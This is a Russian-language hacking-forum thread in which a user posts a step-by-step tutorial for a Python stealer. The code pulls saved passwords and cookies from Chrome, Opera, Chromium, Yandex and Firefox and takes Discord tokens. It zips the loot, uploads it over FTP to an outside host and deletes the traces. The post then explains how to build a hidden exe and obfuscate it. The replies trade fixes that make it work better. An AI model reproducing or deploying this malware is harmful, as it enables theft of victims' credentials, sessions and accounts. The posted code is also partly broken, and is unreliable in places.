• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Python Пишем свой stealer на Python с отправкой на FTP-сервер

Miron_T31

Местный
Сообщения
195
Реакции
160
0 руб.
Привет всем!Как погодка?)
Сегодня я бы хотел показать ,как можно написать самый простой stealer на Python! Приступим!(Давно не писал статей ,уже забыл ,что тут и как:joy:)
Для начала нам нужен FTP сервер,я буду юзать FTP-сервер по скольку он бесплатный,халява)
Итак ,для начала нам нужно импортировать модули
Python:
import os
import sqlite3
import win32crypt
import shutil
import zipfile
import ftplib
Тут все просто ,модуль os для работы с директориями и удалением "следов". Модуль sqlite3 и win32crupt для работы с БД, shutil для работы с путями , zipfile для работы с архивом zip.И модуль ftplib соответственно для отправки архива с паролями на ftp-сервер
Далее нам нужно определить юзера ПК,ведь каждый записан в системе по своему
Python:
user_name = os.getlogin()
Так,мы узнали юзера ,а что же дальше?А дальше мы должны начать искать ,и расшифровывать БД ,а также искать куки
Python:
def Chrome():
    text = 'Passwords Google_Chrome:' + '\n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
        shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
       
        conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                text += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
    return text
file = open(os.getenv("APPDATA") + '\\pass_google_chrome.txt', "w+")
file.write(str(Chrome()) + '\n')
file.close()

def Chrome_cockie():
   textc = 'Cookies Chrome:' + '\n'
   textc += 'URL | COOKIE | COOKIE NAME' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
   return textc
file = open(os.getenv("APPDATA") + '\\google_cookies.txt', "w+") #данные
file.write(str(Chrome_cockie()) + '\n')
file.close()

def Opera():
    texto = 'Passwords Opera:' + '\n'
    texto += 'URL | LOGIN | PASSWORD' + '\n'
    if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
        shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
        conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
        cursor = conn.cursor()
        cursor.execute('SELECT action_url, username_value, password_value FROM logins')
        for result in cursor.fetchall():
            password = win32crypt.CryptUnprotectData(result[2])[1].decode()
            login = result[1]
            url = result[0]
            if password != '':
                texto += '\nURL: ' + url + '\nLOGIN: ' + login + '\nPASSWORD: ' + password + '\n'
file = open(os.getenv("APPDATA") + '\\pass_opera.txt', "w+")
file.write(str(Opera()) + '\n')
file.close()

def chromium():
   textch = 'Chromium Passwords:' + '\n'
   textch += 'URL | LOGIN | PASSWORD' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
       cursor = conn.cursor()
       cursor.execute('SELECT action_url, username_value, password_value FROM logins')
       for result in cursor.fetchall():
           password = win32crypt.CryptUnprotectData(result[2])[1].decode()
           login = result[1]
           url = result[0]
           if password != '':
               textch += url + ' | ' + login + ' | ' + password + '\n'
               return textch
file = open(os.getenv("APPDATA") + '\\chromium.txt', "w+")
file.write(str(chromium()) + '\n')
file.close()

def Yandex():
   texty = 'YANDEX Cookies:' + '\n'
   texty += 'URL | COOKIE | COOKIE NAME' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           texty += url + ' | ' + str(cookie) + ' | ' + name + '\n'
   return texty
file = open(os.getenv("APPDATA") + '\\yandex_cookies.txt', "w+")
file.write(str(Yandex()) + '\n')
file.close()

def Firefox():
   textf = ''
   textf += 'Firefox Cookies:' + '\n'
   textf += 'URL | COOKIE | COOKIE NAME' + '\n'
   for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'):
       for name in dirs:
           conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite')
           cursor = conn.cursor()
           cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
           data = cursor.fetchall()
           for i in range(len(data)):
               url, cookie, name = data[i]
               textf += url + ' | ' + str(cookie) + ' | ' + name + '\n'    
       break
   return textf
file = open(os.getenv("APPDATA") + '\\firefox_cookies.txt', "w+")
file.write(str(Firefox()) + '\n')
file.close()

def chromiumc():
   textchc = ''
   textchc += 'Chromium Cookies:' + '\n'
   textchc += 'URL | COOKIE | COOKIE NAME' + '\n'
   if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'):
       shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
       conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
       cursor = conn.cursor()
       cursor.execute("SELECT * from cookies")
       for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textchc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
   return textchc
file = open(os.getenv("APPDATA") + '\\chromium_cookies.txt', "w+")
file.write(str(chromiumc()) + '\n')
file.close()

def Opera_c():
    textoc = '\n' + 'Cookies Opera:' + '\n'
    textoc += 'URL | COOKIE | COOKIE NAME' + '\n'
    if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
      shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
      conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
      cursor = conn.cursor()
      cursor.execute("SELECT * from cookies")
      for result in cursor.fetchall():
           cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
           name = result[2]
           url = result[1]
           textoc += url + ' | ' + str(cookie) + ' | ' + name + '\n'
    return textoc
file = open(os.getenv("APPDATA") + '\\opera_cookies.txt', "w+")
file.write(str(Opera_c()) + '\n')
file.close()

def discord_token():
   if os.path.isfile(os.getenv("APPDATA") + '/discord/Local Storage/https_discordapp.com_0.localstorage') is True:
       token = ''
       conn = sqlite3.connect(os.getenv("APPDATA") + "/discord/Local Storage/https_discordapp.com_0.localstorage")
       cursor = conn.cursor()
       for row in cursor.execute("SELECT key, value FROM ItemTable WHERE key='token'"):
           token = row[1].decode("utf-16")
       conn.close()
       if token != '':
           return token
       else:
           return 'Discord exists, but not logged in'
   else:
       return 'Not found'
ds_token = discord_token()
ds_token += 'Discord token:' + '\n' + discord_token() + '\n' + '\n'
file = open(os.getenv("APPDATA") + '\\discord_token.txt', "w+")
file.write(str(discord_token()) + '\n')
file.close()

Я не стал долго е#ать себе и вам мозги,все базы расшифровываются одинокого ,только пути разные. А это самые популярные браузеры ,которыми пользуются юзеры,ну и как же без дискорда?)
Так ,мы расшифровали БД и получили куки из браузеров,и сохранили их на ПК жертвы. Но нам надо их как-то получить ,и мы их получим! Добавим все текстовики в архив и отправим их к себе на сервер!
Python:
zname=r'D:\LOG.zip'
newzip=zipfile.ZipFile(zname,'w')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_google_chrome.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\google_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\yandex_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\chromium_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\pass_opera.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\opera_cookies.txt')
newzip.write(r'C:\\Users\\' + user_name + '\\AppData\\Roaming\\discord_token.txt')
newzip.close()
Все,все текстовики с паролями сохранены в одном архиве! Который находится на диске D:// под названием LOG.zip (можете запихнуть его подальше и под своим именем)
Ну,и теперь отправим его к нам на сервер ,для этого конечно же нужен: хост,логин и пароль
Python:
localfile = r"D:\LOG.zip"

ftp_host = 'files.000webhost.com'
ftp_login = 'Ваш логин к сайту'
ftp_pass = 'Ваш пароль к FTP'
try:  
    ftp = ftplib.FTP(ftp_host, ftp_login, ftp_pass)
except:
    print('Error! FTP not connected')
ftp.cwd('base_stael')
fp = open(localfile, "rb")
try:
    ftp.storbinary('STOR %s' % os.path.basename(localfile), fp, 1024)
    fp.close()
    ftp.close()
except:
    print("Error! File not download")
try:
    os.remove("D:\LOG.zip")
except:
    print('File not removed!')
Также я поместил архив в переменную localfile для работы с ним!Также ,так как я писал этот скрипт для себя,то я еще добавил перехват ошибок try и except .Но вы можете их убрать ,потому ,что я тестил скрипт и все работает
Так ,stealer готов ,но не у всех же есть python ,поэтому мы его конвертируем в exe.Вот так
Безымянны0й.jpg
Тут все легко
w - запуск exe без консоли
F - конвертировать в один файл
И имя фала нужно
И вот ,что вышло
Безымянный2.jpg
И он естественно без иконки ,можете еще и иконку добавить
Запускаем!И вот результат
Безымянный3.jpg
И вот в нашем каталоге лежит наш ZIP с паролями,скачаем и посмотрим
Текстовки.jpg
И вот все пароли,которые мы стрипизднули у юзверя,все просто имея минимальные навыки программирования!
Также можно кодировать наш .py тулзой Pyarmor
После кодирования будет вот такое:
vertpy1.png
Спасибо за внимание). А еще просто хотелось плашку "Авторская статья".Ну,попробуем)
АВТОР НЕ НЕСЕТ НИКАКОЙ ОТВЕТСТВЕННОСТИ ЗА ДЕЙСТВИЕ ПОЛЬЗОВАТЕЛЕЙ!
 

ZeroByte

Senior Developer

ZeroByte

Senior Developer
Местный
Сообщения
82
Реакции
325
0 руб.
Please note, if you want to make a deal with this user, that it is blocked.
Не буду спрашивать что тебе мешало написать гейт для аплода логов вместо хранения данных входа

Однозначно тема заслуживает лайка, спасибо!
 

_TheSameMadzha_

Участник
Сообщения
6
Реакции
0
0 руб.
Telegram
Помню давненько была наподобие статья только там чел шкодил на делфи и это был фтп стиллер паролей. Может у кого-то завалялся линк на эту статью
 

4elo8ek

Участник
Сообщения
71
Реакции
38
0 руб.
Эхх я раньше тоже писал на делфи.. В году так 2015... Было время, а потом я понял что я олень и надо было учить с++

(ответ к коменту выше)
 

Minimalist

Минимализм-как стиль жизни

Minimalist

Минимализм-как стиль жизни
Местный
Сообщения
68
Реакции
86
0 руб.

Ya2Ja

Новичок
Сообщения
8
Реакции
0
0 руб.
Telegram
Спасибо, помог, но, я не могу не заметить пару небольших минусов:
  1. Диск D не всегда доступен, на 10 Windows, происходит ошибка прав доступа, так что нужно допилить, если чё пишите мне в лс я помогу
  2. Проблема с Firefox, файлы firefox он не парсит, эту проблему мне было лень решать
  3. Файлы заменяют друг друга, таким образом что у вас на сервере будет всегда только один файл с логами а старые удаляются
Но все выше описные проблемы решаются, и не так уж и сложно
 

sway

Новичок
Сообщения
1
Реакции
0
0 руб.
ты можешь сказать какие сколько .py файлов должно быть? я для каждой вставки кода создал отдельный файл,ничего не выходит
 

Miron_T31

Местный
Сообщения
195
Реакции
160
0 руб.
ты можешь сказать какие сколько .py файлов должно быть? я для каждой вставки кода создал отдельный файл,ничего не выходит
должен быть один файл с расширением .py
Я просто вырезал отдельные куски кода и прокомментировал их
 

DarkMatter

Новичок
Сообщения
12
Реакции
0
0 руб.
А как решить траблу -
  1. Файлы заменяют друг друга, таким образом что у вас на сервере будет всегда только один файл с логами а старые удаляются
?
 

Miron_T31

Местный
Сообщения
195
Реакции
160
0 руб.
А как решить траблу -
  1. Файлы заменяют друг друга, таким образом что у вас на сервере будет всегда только один файл с логами а старые удаляются
?
Импортируй модуль random, и сделай генерацию имен к файлу, и каждый раз будут файлы с разными именами
 
Сверху Снизу